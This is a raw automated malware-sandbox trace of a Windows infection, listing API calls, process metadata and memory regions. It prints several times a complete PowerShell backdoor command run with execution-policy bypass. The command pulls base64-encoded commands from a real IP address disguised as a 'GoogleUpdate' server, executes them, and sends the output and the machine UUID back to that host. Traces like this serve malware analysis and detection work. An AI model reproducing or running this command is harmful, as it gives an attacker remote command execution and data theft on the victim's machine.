-Command:$Cmd|Out-String;$ReCmd=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($cmdOut));$uuid=Invoke-Expression -Command:'wmic csproduct get uuid'|Out-String;$Reuid=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($uuid));$Pusl= 'http://154.16.37.122/GoogleUpdate/Google.php?Mac=';$Pusl=$Pusl+$Reuid;$Pusl=$Pusl+'?Data=';$Pusl=$Pusl+$ReCmd;[System.Net.WebRequest]$webRequest=[System.Net.WebRequest]::Create($Pusl);$webRequest.Method='POST';$webRequest.GetResponse();\";", lpDst=0x16b430, nSize=0x400 | out: lpDst="powershell -nop -exec bypass -c \"$r=[System.Net.WebRequest]::Create('http://154.16.37.122/GoogleUpdate/Update.php'); $resp=$r.GetResponse();$respstream=$resp.GetResponseStream(); $sr=new-object System.IO.StreamReader $respstream; $Cmd=$sr.ReadToEnd();$Cmd=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Cmd)); $cmdOut=Invoke-Expression -Command:$Cmd|Out-String;$ReCmd=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($cmdOut));$uuid=Invoke-Expression -Command:'wmic csproduct get uuid'|Out-String;$Reuid=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($uuid));$Pusl= 'http://154.16.37.122/GoogleUpdate/Google.php?Mac=';$Pusl=$Pusl+$Reuid;$Pusl=$Pusl+'?Data=';$Pusl=$Pusl+$ReCmd;[System.Net.WebRequest]$webRequest=[System.Net.WebRequest]::Create($Pusl);$webRequest.Method='POST';$webRequest.GetResponse();\";") returned 0x362 [0186.190] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x7fefdfd0000 [0186.190] GetProcAddress (hModule=0x7fefdfd0000, lpProcName="ShellExecuteExW") returned 0x7fefdff7c70 [0186.190] ShellExecuteExW (in: pExecInfo=0x16bbe0*(cbSize=0x70, fMask=0x440, hwnd=0x0, lpVerb="Open", lpFile="powershell", lpParameters="-nop -exec bypass -c \"$r=[System.Net.WebRequest]::Create('http://154.16.37.122/GoogleUpdate/Update.php'); $resp=$r.GetResponse();$respstream=$resp.GetResponseStream(); $sr=new-object System.IO.StreamReader $respstream; $Cmd=$sr.ReadToEnd();$Cmd=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Cmd)); $cmdOut=Invoke-Expression -Command:$Cmd|Out-String;$ReCmd=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($cmdOut));$uuid=Invoke-Expression -Command:'wmic csproduct get uuid'|Out-String;$Reuid=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($uuid));$Pusl= 'http://154.16.37.122/GoogleUpdate/Google.php?Mac=';$Pusl=$Pusl+$Reuid;$Pusl=$Pusl+'?Data=';$Pusl=$Pusl+$ReCmd;[System.Net.WebRequest]$webRequest=[System.Net.WebRequest]::Create($Pusl);$webRequest.Method='POST';$webRequest.GetResponse();\";", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x16bbe0*(cbSize=0x70, fMask=0x440, hwnd=0x0, lpVerb="Open", lpFile="powershell", lpParameters="-nop -exec bypass -c \"$r=[System.Net.WebRequest]::Create('http://154.16.37.122/GoogleUpdate/Update.php'); $resp=$r.GetResponse();$respstream=$resp.GetResponseStream(); $sr=new-object System.IO.StreamReader $respstream; $Cmd=$sr.ReadToEnd();$Cmd=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Cmd)); $cmdOut=Invoke-Expression -Command:$Cmd|Out-String;$ReCmd=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($cmdOut));$uuid=Invoke-Expression -Command:'wmic csproduct get uuid'|Out-String;$Reuid=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($uuid));$Pusl= 'http://154.16.37.122/GoogleUpdate/Google.php?Mac=';$Pusl=$Pusl+$Reuid;$Pusl=$Pusl+'?Data=';$Pusl=$Pusl+$ReCmd;[System.Net.WebRequest]$webRequest=[System.Net.WebRequest]::Create($Pusl);$webRequest.Method='POST';$webRequest.GetResponse();\";", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x2e0)) returned 1 [0195.416] CloseHandle (hObject=0x2e0) returned 1 [0195.416] IUnknown:Release (This=0x363160) returned 0x1 [0195.416] GetCurrentThreadId () returned 0x844 [0195.416] ISystemDebugEventFire:IsActive (This=0x3239a0) returned 0x1 [0195.417] GetCurrentThreadId () returned 0x844 [0195.417] CoGetObjectContext (in: riid=0x7fef3986350*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x16eaf8 | out: ppv=0x16eaf8*=0x30f280) returned 0x0 [0195.449] StdGlobalInterfaceTable:IGlobalInterfaceTable:RevokeInterfaceFromGlobal (This=0x7feffc1a1b0, dwCookie=0x100) returned 0x0 [0195.449] IUnknown:Release (This=0x5da5b0) returned 0x1 [0195.449] IUnknown:Release (This=0x30f280) returned 0x1 [0195.449] IUnknown:Release (This=0x30f280) returned 0x0 [0195.449] ISystemDebugEventFire:EndSession (This=0x3239a0) returned 0x0 [0195.449] IUnknown:Release (This=0x3239a0) returned 0x1 [0195.449] GetUserDefaultLCID () returned 0x409 [0195.449] GetACP () returned 0x4e4 [0195.450] IUnknown:Release (This=0x3239a0) returned 0x0 [0195.450] SendMessageA (hWnd=0xd0218, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0195.450] SendMessageA (hWnd=0xd0218, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0195.450] PostMessageA (hWnd=0xd0218, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0195.452] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x16f490*=0xd4, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0xff) returned 0x0 [0195.453] CloseHandle (hObject=0xd4) returned 1 [0195.453] IUnknown:Release (This=0x31e080) returned 0x0 [0195.453] IUnknown:Release (This=0x31e130) returned 0x0 [0195.453] IUnknown:Release (This=0x31e1e0) returned 0x0 [0195.453] IUnknown:Release (This=0x31dfd0) returned 0x0 [0195.455] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x16f4c0 | out: lplpMessageFilter=0x16f4c0*=0x1edf80) returned 0x0 [0195.455] CoUninitialize () [0195.455] DllCanUnloadNow () returned 0x0 [0195.455] DllCanUnloadNow () returned 0x0 [0195.456] DllCanUnloadNow () returned 0x1 [0195.677] GetProcAddress (hModule=0x7feff0e0000, lpProcName="UnregisterTraceGuids") returned 0x77c63c80 [0195.677] EtwEventUnregister (RegHandle=0xb00010001) returned 0x0 [0195.677] EtwEventUnregister (RegHandle=0xc00010001) returned 0x0 [0195.681] RtlExitUserProcess (ExitCode=0x0) Thread: id = 132 os_tid = 0x840 Thread: id = 133 os_tid = 0x15c [0157.454] GetClassInfoA (in: hInstance=0xff6b0000, lpClassName="WSH-Timer", lpWndClass=0x213f960 | out: lpWndClass=0x213f960) returned 0 [0157.455] RegisterClassA (lpWndClass=0x213f960) returned 0xc007ac1a2 [0157.455] CreateWindowExA (dwExStyle=0x0, lpClassName="WSH-Timer", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=1, nHeight=1, hWndParent=0x0, hMenu=0x0, hInstance=0xff6b0000, lpParam=0x5d59a0) returned 0xd0218 [0157.456] GetWindowLongPtrA (hWnd=0xd0218, nIndex=-21) returned 0x0 [0157.456] NtdllDefWindowProc_A (hWnd=0xd0218, Msg=0x24, wParam=0x0, lParam=0x213f350) returned 0x0 [0157.456] GetWindowLongPtrA (hWnd=0xd0218, nIndex=-21) returned 0x0 [0157.456] SetWindowLongPtrA (hWnd=0xd0218, nIndex=-21, dwNewLong=0x5d59a0) returned 0x0 [0157.456] NtdllDefWindowProc_A (hWnd=0xd0218, Msg=0x81, wParam=0x0, lParam=0x213f310) returned 0x1 [0157.457] GetWindowLongPtrA (hWnd=0xd0218, nIndex=-21) returned 0x5d59a0 [0157.457] NtdllDefWindowProc_A (hWnd=0xd0218, Msg=0x83, wParam=0x0, lParam=0x213f370) returned 0x0 [0157.459] GetWindowLongPtrA (hWnd=0xd0218, nIndex=-21) returned 0x5d59a0 [0157.459] NtdllDefWindowProc_A (hWnd=0xd0218, Msg=0x1, wParam=0x0, lParam=0x213f310) returned 0x0 [0157.459] SetEvent (hEvent=0xcc) returned 1 [0157.466] GetMessageA (in: lpMsg=0x213f930, hWnd=0xd0218, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x213f930) returned 0 [0195.450] GetWindowLongPtrA (hWnd=0xd0218, nIndex=-21) returned 0x5d59a0 [0195.450] GetWindowLongPtrA (hWnd=0xd0218, nIndex=-21) returned 0x5d59a0 Thread: id = 134 os_tid = 0x48c Thread: id = 135 os_tid = 0x374 Thread: id = 136 os_tid = 0x96c Thread: id = 137 os_tid = 0x974 Thread: id = 138 os_tid = 0xb0 Thread: id = 139 os_tid = 0x1c8 Thread: id = 144 os_tid = 0x34c Process: id = "15" image_name = "powershell.exe" filename = "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x3ffb6000" os_pid = "0x740" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0x8dc" cmd_line = "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -nop -exec bypass -c \"$r=[System.Net.WebRequest]::Create('http://154.16.37.122/GoogleUpdate/Update.php'); $resp=$r.GetResponse();$respstream=$resp.GetResponseStream(); $sr=new-object System.IO.StreamReader $respstream; $Cmd=$sr.ReadToEnd();$Cmd=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Cmd)); $cmdOut=Invoke-Expression -Command:$Cmd|Out-String;$ReCmd=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($cmdOut));$uuid=Invoke-Expression -Command:'wmic csproduct get uuid'|Out-String;$Reuid=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($uuid));$Pusl= 'http://154.16.37.122/GoogleUpdate/Google.php?Mac=';$Pusl=$Pusl+$Reuid;$Pusl=$Pusl+'?Data=';$Pusl=$Pusl+$ReCmd;[System.Net.WebRequest]$webRequest=[System.Net.WebRequest]::Create($Pusl);$webRequest.Method='POST';$webRequest.GetResponse();\";" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1863 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1864 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1865 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1866 start_va = 0x70000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1867 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1868 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1869 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1870 start_va = 0x13f1d0000 end_va = 0x13f246fff entry_point = 0x13f1d0000 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe") Region: id = 1871 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1872 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1873 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1874 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1875 start_va = 0x220000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 1876 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1877 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1887 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1888 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1889 start_va = 0x50000 end_va = 0x56fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1890 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1891 start_va = 0xf0000 end_va = 0x156fff entry_point = 0xf0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1892 start_va = 0x160000 end_va = 0x162fff entry_point = 0x160000 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 1893 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1894 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 1895 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1896 start_va = 0x320000 end_va = 0x41ffff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 1897 start_va = 0x420000 end_va = 0x5a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1898 start_va = 0x5b0000 end_va = 0x730fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 1899 start_va = 0x740000 end_va = 0x1b3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 1900 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1901 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1902 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1903 start_va = 0x7fee6330000 end_va = 0x7fee639efff entry_point = 0x7fee6330000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 1904 start_va = 0x7fefb760000 end_va = 0x7fefb778fff entry_point = 0x7fefb760000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1905 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1906 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1907 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1908 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1909 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1910 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1911 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1912 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1913 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1914 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1915 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1916 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2006 start_va = 0x1c0000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2007 start_va = 0x1b40000 end_va = 0x1c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b40000" filename = "" Region: id = 2008 start_va = 0x1d90000 end_va = 0x1e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d90000" filename = "" Region: id = 2009 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2010 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 2011 start_va = 0x1c40000 end_va = 0x1d1efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c40000" filename = "" Region: id = 2012 start_va = 0x1fc0000 end_va = 0x203ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 2013 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2014 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2015 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 2016 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2447 start_va = 0x1b0000 end_va = 0x1b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 2448 start_va = 0x1d0000 end_va = 0x1d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 2449 start_va = 0x1f0000 end_va = 0x1f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 2450 start_va = 0x1eb0000 end_va = 0x1f2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001eb0000" filename = "" Region: id = 2451 start_va = 0x2040000 end_va = 0x230efff entry_point = 0x2040000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2452 start_va = 0x7fefc510000 end_va = 0x7fefc63bfff entry_point = 0x7fefc510000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2453 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 2454 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2455 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2456 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2457 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2458 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2459 start_va = 0x210000 end_va = 0x210fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 2460 start_va = 0x1d20000 end_va = 0x1d3ffff entry_point = 0x1d20000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db") Region: id = 2461 start_va = 0x2310000 end_va = 0x2702fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002310000" filename = "" Region: id = 2462 start_va = 0x2760000 end_va = 0x27dffff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 2463 start_va = 0x7fefb340000 end_va = 0x7fefb396fff entry_point = 0x7fefb340000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 2464 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2465 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2466 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2467 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2468 start_va = 0x7fef8e50000 end_va = 0x7fef8e83fff entry_point = 0x7fef8e50000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 2469 start_va = 0x200000 end_va = 0x203fff entry_point = 0x200000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2470 start_va = 0x1d40000 end_va = 0x1d6ffff entry_point = 0x1d40000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db") Region: id = 2471 start_va = 0x1d70000 end_va = 0x1d73fff entry_point = 0x1d70000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2472 start_va = 0x1e10000 end_va = 0x1e75fff entry_point = 0x1e10000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 2473 start_va = 0x28a0000 end_va = 0x291ffff entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 2474 start_va = 0x7fef8e40000 end_va = 0x7fef8e4bfff entry_point = 0x7fef8e40000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 2475 start_va = 0x7fef9b40000 end_va = 0x7fef9bbffff entry_point = 0x7fef9b40000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 2476 start_va = 0x7fef9bc0000 end_va = 0x7fef9bcefff entry_point = 0x7fef9bc0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 2477 start_va = 0x7fefb730000 end_va = 0x7fefb73afff entry_point = 0x7fefb730000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 2478 start_va = 0x7fefd980000 end_va = 0x7fefd9a2fff entry_point = 0x7fefd980000 region_type = mapped_file name 